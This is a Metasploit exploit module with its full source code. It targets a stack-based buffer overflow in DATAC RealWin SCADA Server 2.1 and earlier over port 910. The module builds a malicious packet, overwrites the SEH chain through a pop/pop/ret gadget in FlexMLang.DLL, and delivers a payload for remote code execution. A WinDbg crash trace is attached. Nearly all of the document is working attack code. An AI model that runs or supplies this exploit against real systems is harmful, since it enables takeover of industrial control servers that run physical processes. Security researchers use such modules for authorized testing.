DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow

`##  
# $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in DATAC Control International RealWin  
SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE  
packet via port 910, RealWin will try to create a file (which would be saved to  
C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-  
supplied filename with a inline memcpy routine without proper bounds checking, which  
results a stack-based buffer overflow, allowing arbitrary remote code execution.  
  
Tested version: 2.0 (Build 6.1.8.10)  
},  
'Author' => [ 'Luigi Auriemma', 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12975 $',  
'References' =>  
[  
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 450,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 21 2011'))  
  
register_options([Opt::RPORT(910)], self.class)  
end  
  
def exploit  
  
connect  
  
data = [0x67542310].pack('V')  
data << [0x00000824].pack('V')  
data << [0x00100001].pack('V')  
data << [0x00000001].pack('V') #Packet type  
data << [0x00060000].pack('V')  
data << [0x0000ffff].pack('V')  
data << rand_text_alpha_upper(221)  
data << generate_seh_payload(target.ret)  
data << rand_text_alpha_upper(17706 - payload.encoded.length)  
data << [0x451c3500].pack('V')  
data << [0x00000154].pack('V')  
data << [0x00020040].pack('V')  
  
print_status("Trying target #{target.name}...")  
sock.put(data)  
select(nil,nil,nil,0.5)  
  
handler  
disconnect  
  
end  
  
end  
  
  
=begin  
0:022> r  
eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd  
eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
RealWinDemo+0x2702f:  
0042702f f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
0:022> !exchain  
0587f748: RealWinDemo+e0b78 (004e0b78)  
0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)  
Invalid exception stack at 49a206eb  
0:022> u 4002da21  
FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:  
4002da21 5e pop esi  
4002da22 5b pop ebx  
4002da23 c3 ret  
=end  
`